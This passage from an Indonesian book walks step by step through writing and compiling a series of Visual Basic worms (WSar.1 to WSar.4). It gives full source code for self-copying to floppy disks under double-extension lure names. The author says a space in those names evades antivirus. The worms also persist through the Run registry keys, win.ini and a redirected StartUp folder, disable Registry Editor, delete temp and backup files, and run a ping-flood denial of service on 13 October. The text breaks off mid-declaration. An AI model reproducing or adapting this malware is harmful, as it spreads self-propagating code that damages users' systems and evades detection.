Langkah keempat adalah mengetikan kode program worm. Untuk itu klik ganda bidang form hingga jendela Code Editor tampil dengan langsung membuat suatu sub 'Form Load. Anda juga bisa mengklik nama form pada jendela Explorer, klik tombol View Code kemudian klik ComboBox Object pada Code Editor dan pilih Form, klik ComboBox Event dan pilih Load.
Jasakom
110
111
Jasakom
Dua baris teratas adalah baris komentar, diawali dengan single quote. Biasanya digunakan untuk memberi keterangan tentang program atau apapun yang ingin programmer sampaikan kepada pengguna kode tersebut. Statement Option Explicit pada baris ketiga memastikan agar seluruh variabel dideklarasikan.
Private Sub Form_Load()
Baris ini menandakan awal dari sebuah procedure, dalam hal ini adalah procedure yang akan dikerjakan pada event Form_Load, suatu kejadian saat form diaktifkan untuk pertama kali atau sesaat sebelum ditampilkan.
On Error Resume Next
Statement ini akan sangat berguna apabila terjadi suatu kesalahan, karena program akan mengacuhkan kesalahan tersebut dan kemudian mengakses instruksi setelahnya.
If App.PrevInstance = True Then End
Jika file aplikasi yang sama sudah berjalan maka akhiri proses pengeksekusian file tersebut. Statement ini berguna untuk mencegah suatu file aplikasi yang sama dieksekusi lebih dari satu kali.
If Len(Dir$("C:\WINDOWS\Start Menu\Programs\Star" & _ "tUp\System File.exe")) = 0 Then
Jika banyak karakter dalam pencarian "C:\WINDOWS\Start Menu\ Programs\StartUp\System File.exe" adalah 0 (nol) maka file tersebut tidak ditemukan (sebaliknya akan menghasilkan nilai 15 jika file tersebut ditemukan. Nilai 15 berasal dari jumlah karakter pada nama file), maka
Jasakom
112
FileCopy adalah function untuk membuat salinan suatu file. WormFile mewakili nama main file (file utama) yang terproses. WormFile adalah suatu function untuk mendapatkan full path (alamat penuh) file utama, Sedangkan "C:\WINDOWS\StartMenu\Programs\StartUp\System File.ex e" adalah lokasi dan nama file untuk tujuan penyalinan file,
If App.Path = "A:\" Or App.Path = "B:\" Then Unload Me End If
End Sub
Sub
berfungsi
untuk
mengakhiri
procedure
Private Sub tmrWSar_Timer() On Error Resume Next If Len(Dir$("A:\Game Collection.exe")) = 0 Then FileCopy(WormFile, "A:\Game Collection.exe") End If If Day(Now) = 13 And Month(Now) = 10 Then MsgBox("WSar.1 Ada Pada Komputer Anda") Unload(Me) End If End Sub
Memulai suatu procedure baru terhadap object tmrWSar (Timer), mengacuhkan error apabila terjadi dan mengeksekusi instruksi setelahnya. Jika file "A:\Game Collection.exe" tidak ditemukan maka meng-copy file utama ke drive A dengan nama "Game Collection.exe". Jika tanggal sekarang adalah 13 dan bulan sekarang adalah 10 (Okto-
113
Jasakom
Jika path file utama pada drive A atau pada drive B maka akhiri aplikasi. Statement ini bertujuan untuk mencegah file worm yang berada pada disket bertahan di memory. Hal ini sebaiknya juga dilakukan untuk setiap removable disk, seperti disket dan usb disk. Akhirnya, End If digunakan untuk menutup statement If sebelumnya.
ber) maka tampilkan pesan "WSar.1 Ada Pada Komputer Anda" serta bersihkan worm dari memory, sehingga untuk hari tersebut worm tidak akan melakukan aktifitas apapun.
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Function WormFile dibuat untuk mendapatkan path penuh file utama, dimulai dengan pendeklarasian WPath untuk lokasi dan WName untuk nama file, kemudian menentukan lokasi file utama dengan function App.Path dan menyimpannya dalam variabel WPath.. Jika satu karakter disebelah kanan nilai variabel WPath tidak sama dengan "\" maka nilai variabel WPath ditambahkan karakter "\" dibelakangnya, kemudian mengatur nilai variabel WName dengan nilai berupa nama file utama yang didapat dari function App.EXEName. Karena nama file yang didapatkan dari function ini belum memiliki ekstensi, maka ditambahkan string ".exe" dibelakangnya, menandakan file tersebut adalah file executable.
Langkah kelima adalah menyimpan project yang telah selesai dibuat, dengan meng-click File pada menubar kemudian pilih Save Project.
Jasakom
114
Kemudian akan tampil kotak dialog Save File As, yang berfungsi untuk menyimpan form, module dan sebagainya yang akan disimpan. Tentukan suatu folder atau buat folder baru dengan mengklik tombol New Folder.
Langkah terakhir adalah mengkompilasi project menjadi suatu file executable. Untuk itu klik File pada menubar, kemudian dalam hal ini klik Make WSar. Exe yang akan menampilkan kotak dialog Make Project,
115
Jasakom
Berikutnya akan tampil kotak dialog Save Project As, yang berfungsi untuk menyimpan project secara keseluruhan.
Isi TextBox File name dengan nama File Exe yang akan dibuat yang dalam contoh ini bernama WSar.exe. Pilih direktori tempat file tersebut akan diletakkan. Klik OK untuk memulai proses kompilasi. Catatan untuk WSar.1 : untuk lokasi direktori StartUp pada Windows 2000 dan XP secara default adalah sebagai berikut: 1. C:\Documents and Settings\Administrator\Start Menu\ Programs\startup 2. C:\Documents and Settings\All Users\Start Menu\Progra ms\ startup 3. C:\Documents and Settings\Default User\Start Menu\ Programs\ startup
116
8.1 ALGORITMA
WSar.2 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi registry untuk mengaktifkan worm setiap kali Windows startup
117
Jasakom
orm ini bernama WSar.2 (worm dasar 2), suatu worm yang lebih cerdas dibandingkan WSar.1, karena sudah memanfaatkan WSH (Windows Scripting Host) untuk memanipulasi registry atau untuk mengetahui direktori spesial pada sistem operasi Windows, dan mencegah user untuk menjalankan aplikasi Registry Editor. Dengan demikian , worm ini tidak hanya mampu menulari sistem operasi Windows 9X dan ME tetapi juga akan menulari sistem operasi Windows NT, 2000 atau XP.
3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan nama file "rindu.exe" 4. Dampak lain yang ditimbulkan adalah menyisipkan kata "Ohhhh... rinduuuu... dimanakah dirimu.... " setiap kali user menggunakan fungsi Paste pada aplikasi apa saja 5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda", menghapus semua file yang berekstensi tmp pada direktori Windows dan semua file yang berekstensi bak pada direktori System Windows serta seluruh file pada direktori temporary Windows, kemudian menghentikan segala aktifitas worm pada hari tersebut.
8.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, pada tab Make, atur Application Title menjadi 'WSar.2 dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK. Kemudian tambahkan 2 buah object Timer, dan atur properti berikut untuk masing-masing Timer dan form. Properti object Form1 Jenis
Name Icon ShowInTaskbar Visible
Nilai
frmWSar2 (Icon) False False
Keterangan
Mengatur nama form menjadi frmWSar2 Pilih icon yang akan digunakan pada form, WSar.2 menggunakan icon msword.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar.
Jasakom
118
Nilai
tmrWSar2 True 60000
Keterangan
Mengatur nama Timer menjadi tmrWSar2 Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Nilai
tmrIseng True 1000
Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
'WSar.2 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dirimu.... ") End Sub Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub
119
Jasakom
Function RegString(ByVal HiveAndKey As String, ByVal Value As String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function Function RegDword(ByVal HiveAndKey As String, ByVal Value As Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\" & _ "System\DisableRegistryTools", 1) End Sub Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\CurrentVersio" & _ "n\Run\windll", sysfolder & "\" & "winfake.exe") End Sub Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If End Sub Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub
Jasakom
120
Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function Berikut penjelasan tentang kode program: 'WSar.2 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End Call RegDisable() Call InfectSystem() If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub
Call RegDisable berarti memanggil atau mengeksekusi procedure yang bernama RegDisable dan statement Call InfectSystem akan mengeksekusi procedure InfectSystem. Jika file utama berada pada drive A atau B maka segera akhiri proses file utama.
Private Sub tmrIseng_Timer() On Error Resume Next Clipboard.Clear() Clipboard.SetText(" Ohhhh... rinduuuu... dimanakah dir" & _ "imu.... ") End Sub
Statement Clipboard.Clear berfungsi untuk membersihkan data dari penyimpanan clipboard (clipboard berfungsi sebagai penyimpan sementara apabila user melakukan proses copy atau cut), kemudian statement berikutnya akan mengisi clipboard dengan data berupa teks " Ohhhh rinduuuu dimanakah dirimu. " yang akan disisipkan jika user melakukan proses paste.
121
Jasakom
Private Sub tmrWSar2_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub
Procedure tmrWSar2_Timer, pada saat yang ditentukan akan mengeksekusi procedure InfectFloppy, kemudian apabila tanggal dan bulan sekarang adalah 13 Oktober maka akan mengeksekusi procedure PayLoad kemudian mengakhiri proses worm.
Function RegString(ByVal HiveAndKey As String, ByVal Value As _ String) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value) End Function Function RegDword(ByVal HiveAndKey As String, ByVal Value As _ Integer) Dim newbie As Object newbie = CreateObject("Wscript.Shell") newbie.regwrite(HiveAndKey, Value, "REG_DWORD") End Function
Dua function di atas adalah penggunaan Window Script Host yang akan mengakses registry untuk menambahkan key dan value. Function RegString digunakan untuk menambahkan key dan value dengan jenis value string biasa (REG_SZ) sedangkan function RegDword digunakan untuk menambahkan key dan value dengan jenis value dword (REG_DWORD)
Private Sub RegDisable() On Error Resume Next RegDword("HKCU\Software\Microsoft\Windows\Curr" & _ "entVersion\Policies\System\DisableRegistryTools", 1) End Sub
Procedure RegDisable mengeksekusi function RegDword dengan menambahkan key: "HKEY_CURRENT_USER\Soft ware\Microsoft\ Windows\CurrentVersion\Policies\System\DisableRegistryTools" dan mengisi value dengan nilai 1. Konfigurasi registry ini akan mengakibatkan user tidak dapat mengakses aplikasi Registry Editor.
Jasakom
122
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim sysfolder As Object kiddie = CreateObject("scripting.filesystemobject") sysfolder = kiddie.GetSpecialFolder(1) FileCopy(WormFile, sysfolder & "\" & "winfake.exe") RegString("HKLM\Software\Microsoft\Windows\Curr" & _ "entVersion\Run\windll", sysfolder & "\" & "winfake.exe") End Sub
Procedure InfectSystem memanfaatkan file system object untuk mendapatkan special folder pada Windows. Dalam hal ini special folder 1 atau direktori System Windows, kemudian membuat salinan dirinya ke direktori System Windows tersebut dengan nama "winfake.exe". Selain itu procedure juga mengeksekusi function RegString dengan menambahkan key: "HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\ Run\windll" dengan value berupa gabungan alamat file pada direktori System Windows dan nama file dari salinan worm tersebut yaitu "winfake.exe". Key ini merupakan salah satu lokasi registry yang akan dieksekusi saat Windows startup.
Private Sub InfectFloppy() On Error Resume Next If Len(Dir$("A:\rindu.exe")) = 0 Then FileCopy(WormFile, "A:\rindu.exe") End If End Sub
Procedure diatas akan membuat salinan worm pada drive A dengan nama "rindu.exe"
Private Sub PayLoad() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder, tmpfolder As Object kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) tmpfolder = kiddie.GetSpecialFolder(2) Kill(winfolder & "\" & "*.tmp") Kill(sysfolder & "\" & "*.bak") Kill(tmpfolder & "\" & "*.*") MsgBox("WSar.2 Ada Pada Komputer Anda") End Sub
123
Jasakom
Procedure PayLoad memanfaatkan file system object untuk mendapatkan special folder 0 atau direktori Windows, special folder 1 atau direktori System Windows dan special folder 2 atau direktori Temporary, kemudian menghapus seluruh file yang berekstensi 'tmp pada direktori Windows, seluruh file berekstensi 'bak pada direktori System Windows, dan seluruh file yang ada pada direktori Temporary. Akhirnya worm akan menampilkan pesan "WSar.2 Ada Pada Komputer Anda". Untuk procedure WormFile telah penulis jelaskan pada WSar.1 sehingga selanjutnya tidak perlu dijelaskan lagi. Terakhir simpan dan kompilasi project seperti pada langkah-langkah yang telah dijelaskan sebelumnya. Catatan untuk WSar.2: berikut ini adalah lokasi key registry yang akan mengeksekusi setiap value didalamnya pada saat Windows startup: User Key / HKCU
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]
Jasakom
124
orm ini bernama WSar.3 (worm dasar 3). Pada worm ini penulis menambahkan trik launcher methode dengan memanipulasi file konfigurasi Windows (win.ini) dan memanfaatkan array dalam pemberian nama file worm sehingga worm ini dapat membuat salinan dengan menggunakan nama yang beragam.
9.1 ALGORITMA
WSar.3 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Jika worm tidak mendapatkan eksistensinya maka worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori System Windows dan memanipulasi file konfigurasi Windows 'win.ini untuk mengaktifkan worm setiap kali Windows startup 3. Setiap 1 menit berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak 4. Dampak lain yang ditimbulkan adalah setiap 30 detik akan menempatkan posisi kursor mouse berada di sudut kiri bagian atas pada layar monitor
125
Jasakom
5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.3 Ada Pada Komputer Anda", kemudian berusaha melakukan suatu serangan Denial Of Service (DOS) pada sebuah website fiktif dengan mengirimkan paket ping dalam jumlah besar.
9.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, pada tab Make, atur Application Title 'WSar.3 dan hapus value untuk setiap Type pada frame Version Information. Pilih opsi Compile to P-Code pada tab Compile, akhiri dengan menekan tombol OK. Tambahkan 2 buah object Timer, dan I buah Module, untuk module dapat dilakukan dengan cara meng-click Project pada menubar lalu memilih opsi Add Module. Kemudian atur properti berikut untuk masing-masing Timer, Form dan Module. Properti object Form1 Bab 9. Worm WSar.3 Jenis
Name Icon ShowInTaskbar Visible
Nilai
frmWSar3 (Icon) False False
Keterangan
Mengatur nama form menjadi frmWSar3 Pilih icon yang akan digunakan pada form, WSar.3 menggunakan icon msword.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar.
Nilai
tmrWSar3 True 60000
Keterangan
Mengatur nama Timer menjadi tmrWSar3 Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Jasakom
126
Nilai
tmrIseng True 30000
Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 30 detik
Nilai
mdlFileIni
Keterangan
Mengatur nama module menjadi mdlFileIni
127
Jasakom
Private Declare Function SetCursorPos Lib "user32" (ByVal x As _ Long, ByVal Y As Long) As Long
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & "win.ini") <> _ MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" & "win.ini") End Sub
Jasakom
128
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmore End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
129
Jasakom
Mendeklarasikan function SetCursorPos dari library user32. Statement ini adalah salah satu dari API Function. Function SetCursorPos ini berguna untuk mengatur posisi mouse pointer pada layar monitor.
Private Sub Form_Load() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" If App.PrevInstance = True Then End If ReadINI("WINDOWS", "Run", winfolder & "\" & _ "win.ini") <> MainFile Then Call InfectSystem() End If If App.Path = "A:\" Or App.Path = "B:\" Then Unload(Me) End If End Sub
Seperti kode program worm sebelumnya, pada procedure ini worm berusaha mendapatkan direktori Windows, kemudian berusaha mendapatkan informasi apakah worm sudah ada atau tidak pada system. Dalam hal ini worm memeriksa isi file konfigurasi win.ini pada section Windows dan pada key Run, apabila value tidak ditujukan pada file worm yang terletak pada direktori System Windows, maka worm akan memanggil procedure InfectSystem.
Jasakom
130
Private Sub InfectSystem() On Error Resume Next Dim kiddie As Object Dim winfolder, sysfolder As Object Dim MainFile As String kiddie = CreateObject("scripting.filesystemobject") winfolder = kiddie.GetSpecialFolder(0) sysfolder = kiddie.GetSpecialFolder(1) MainFile = sysfolder & "\" & "winword.exe" FileCopy(WormFile, MainFile) SetAttr(MainFile, vbHidden + vbReadOnly + vbSystem) writeini("WINDOWS", "Run", MainFile, winfolder & "\" _ & "win.ini") End Sub
Procedure ini berusaha mendapatkan direktori Windows dan direktori System Windows, kemudian membuat salinan file utama ke lokasi direktori System Windows dengan nama "winword.exe" kemudian mengatur atribut file tersebut menjadi Hidden, Read only dan System. Worm kemudian memanipulasi file konfigurasi "win.ini" pada section Windows dan key Run, serta value diatur dengan path dan nama file worm yaitu "winword.exe".
Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "ohh dambaanku.doc .exe" NamaCantik(1) = "kasihku.doc .exe" NamaCantik(2) = "rinduku.doc .exe" NamaCantik(3) = "sayangku.doc .exe" NamaCantik(4) = "pujaanku.doc .exe" NamaCantik(5) = "permata hatiku.doc .exe" NamaCantik(6) = "buah hatiku.doc .exe" NamaCantik(7) = "jantung hatiku.doc .exe" NamaCantik(8) = "ohh dompeeetku.doc .exe" NamaCantik(9) = "hehehe.doc .exe" Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*ku.doc .exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak)) End If End Sub
Procedure ini akan membuat data array sebanyak 10 yang akan digunakan sebagai nama file. Sedikit menggunakan social engineering, nama-nama file tersebut menggunakan ekstensi ganda yaitu '.doc .exe.
131
Jasakom
Perhatikan bahwa ada spasi diantara dua ekstensi tersebut. Penulis menemukan beberapa antivirus yang akan mendeteksi file executable dengan ekstensi ganda sebagai suatu worm atau virus, namun setelah penulis menambahkan (satu atau lebih) tanda spasi diantara dua ekstensi tersebut ternyata antivirus-antivirus tersebut tidak mendeteksinya lagi sebagai worm atau virus . Umumnya pada Windows Explorer ekstensi file yang terdaftar pada file association tidak diperlihatkan sehingga teks ".doc" pada akhir nama file akan terlihat seolah-olah merupakan ekstensi untuk aplikasi MS Word. Worm kemudian memeriksa disket dengan mencari file yang berakhiran "ku.doc .exe", apabila file worm tidak ditemukan maka worm akan membuat salinannya ke disket dengan salah satu nama file yang dipilih secara acak. Satu hal yang mungkin akan terjadi adalah file worm disalin pada disket sebanyak dua file yaitu "hehehe.doc .exe" dan sebuah file dengan nama acak lainnya. Hal ini terjadi karena file "hehehe.doc .exe" tidak memenuhi kriteria sebagai file yang berakhiran "ku.doc .exe".
Private Sub tmrIseng_Timer() On Error Resume Next SetCursorPos(1, 1) End Sub Private Sub tmrWSar3_Timer() On Error Resume Next Call InfectFloppy() If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() Unload(Me) End If End Sub
Procedure tmrIseng_Timer memanggil function SetCursorPos dengan nilai x = 1 dan y =1 yang berarti menempatkan posisi pointer mouse pada posisi pixel pertama pada layar. Pixel pertama bertempat di sudut kiri atas layar monitor.
Jasakom
132
Private Sub PayLoad() On Error Resume Next Dim Target As String Dim pingmore As Integer MsgBox("WSar.3 Ada Pada Komputer Anda", _ vbExclamation) Target = "http://www.worm-maker.co.id" For pingmore = 1 To 1000 Shell("ping -a -l " & Target & " 65500") Next pingmore End Sub
Selain menampilkan pesan, worm ini akan melakukan serangan Denial Of Service pada website www.worm-maker.co.id yang merupakan site fiktif.
Declare Function GetPrivateProfileString Lib "kernel32" _ Alias "GetPrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpDefault As String, ByVal _ lpReturnedString As String, ByVal nSize As Long, _ ByVal lpFileName As String) As Long Declare Function WritePrivateProfileString Lib "kernel32" _ Alias "WritePrivateProfileStringA" (ByVal _ lpApplicationName As String, ByVal lpKeyName As _ String, ByVal lpString As Any, ByVal lpFileName As _ String) As Long
dan
Function ReadINI(ByVal Section, ByVal KeyName, ByVal filename As String) _ As String Dim sRet As String sRet = String(255, Chr(0)) ReadINI = Left(sRet, GetPrivateProfileString(Section, _ ByVal KeyName, "", sRet, Len(sRet), filename)) End Function Function writeini(ByVal sSection As String, ByVal sKeyName As _ String, ByVal sNewString As String, ByVal sFileName) As Integer Dim r r = WritePrivateProfileString(sSection, sKeyName, _ sNewString, sFileName) End Function
Kedua function tersebut, 'ReadINI dan 'writeini mengotomatisasi penggunaan function API dari GetPrivateProfileString dan
133
Jasakom
WritePrivateProfileString, dengan tujuan agar dapat digunakan dengan lebih mudah dan sederhana. Catatan untuk WSar.3: berikut ini adalah lokasi file konfigurasi beserta section dan key yang akan mengeksekusi setiap value didalamnya pada saat Windows startup: WIN.INI Path
Section Key 1 Key 2 Value
SYSTEM.INI Path
Section Key Value
WININIT.INI Path
Section Key Value
Jasakom
134
orm ini bernama WSar.4 (worm dasar 4), memiliki trik launcher yang hingga buku ini selesai ditulis belum pernah digunakan worm manapun. Dengan cara memanipulasi registry, worm memindahkan direktori StartUp kesuatu lokasi tertentu dan membuat salinan dirinya pada direktori tersebut. Saat Windows startup, setiap file yang ada termasuk file worm ikut tereksekusi tanpa user menyadari karena direktori StartUp default yang dapat terlihat pada Startmenu tidak akan menunjukan adanya perubahan atau pertambahan suatu file. Worm ini sedikit lebih kreatif karena membuat nama file salinan dengan menyertakan nama user aktif dan banyak menggunakan function API.
10.1 ALGORITMA
WSar.4 memiliki rutin-rutin yang akan melakukan suatu tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Kemudian worm mengubah nilai suatu registry untuk memanipulasi lokasi direktori StartUp default ke suatu lokasi direktori tertentu lainnya. Kemudian worm akan melakukan reproduksi dengan menciptakan salinan dirinya pada direktori StartUp yang baru tersebut
135
Jasakom
3. Setiap 1 menit akan berusaha untuk membuat salinan worm ke disket pada drive A dengan 10 nama file yang dipilih secara acak 4. Dampak lain yang ditimbulkan adalah jika jam dan menit memiliki nilai yang sama maka secara otomatis system akan membuka dan menutup CD rom drive sebanyak 3 kali. Kesempatan terjadi adalah sekali setiap jamnya 5. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.4 Ada Pada Komputer Anda", kemudian melakukan beberapa manipulasi yang bersifat tidak penting dan terkesan "pamer" tetapi hal ini sudah menjadi kebiasaan worm lokal di Indonesia, seperti mengubah nama user dan perusahaan terdaftar, mengubah volume label pada harddisk atau menampilkan pesan tertentu setiap kali Windows startup.
10.2 PEMROGRAMAN
Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar, dan Application Title menjadi 'WSar.4 Tambahkan 2 buah object Timer, 1 buah object TextBox dan 2 buah Module. Kemudian atur properti berikut untuk masing-masing Timer, TextBox, Form dan Module. Properti object Form1 Jenis
Name Icon ShowInTaskbar Visible BorderStyle ControlBox
Nilai
frmWSar4 (Icon) False False None False
Keterangan
Mengatur nama form menjadi frmWSar4 Pilih icon yang akan digunakan pada form, WSar.4 menggunakan icon jpgicon.ico Tidak menampilkan form pada taskbar Tidak menampilkan form pada layar. Tidak memberikan garis tepi pada form Tidak menggunakan control box
Jasakom
136
Nilai
tmrWSar4 True 60000
Keterangan
Mengatur nama Timer menjadi tmrWSar4 Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Nilai
tmrIseng True 60000
Keterangan
Mengatur nama Timer menjadi tmrIseng Pastikan Timer akan aktif saat form di-load Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 menit
Nilai
txtName
Keterangan
Mengatur nama TextBox menjadi txtName
Nilai
mdlNameLogon
Keterangan
Mengatur nama module menjadi mdlNameLogon
Properti Module2 Jenis Name Nilai mdlRegistryAPI Keterangan Mengatur nama module menjadi mdlRegistryAPI
137
Jasakom
: CurUser = ""
Ketik kode program berikut ini pada module mdlRegistryAPI: Type FILETIME lLowDateTime lHighDateTime End Type As Long As Long
Declare Function RegDeleteValue Lib "advapi32.dll" Alias _ "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName _ As String) As Long Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias _ "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal ulOptions As Long, ByVal samDesired As Long, _ ByVal phkResult As Long) As Long Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As _ Long) As Long Declare Function RegCreateKey Lib "advapi32.dll" Alias _ "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String, ByVal phkResult As Long) As Long Declare Function RegDeleteKey Lib "advapi32.dll" Alias _ "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As _ String) As Long Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _ "RegQueryValueExA" (ByVal hKey As Long, ByVal _ lpValueName As String, ByVal lpReserved As Long, ByVal lpType As _ Long, ByVal lpData As String, ByVal lpcbData As Long) As Long Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal _ hKey As Long, ByVal lpValueName As String, ByVal _ lpReserved As Long, ByVal lpType As Long, ByRef lpData As Long, _ ByVal lpcbData As Long) As 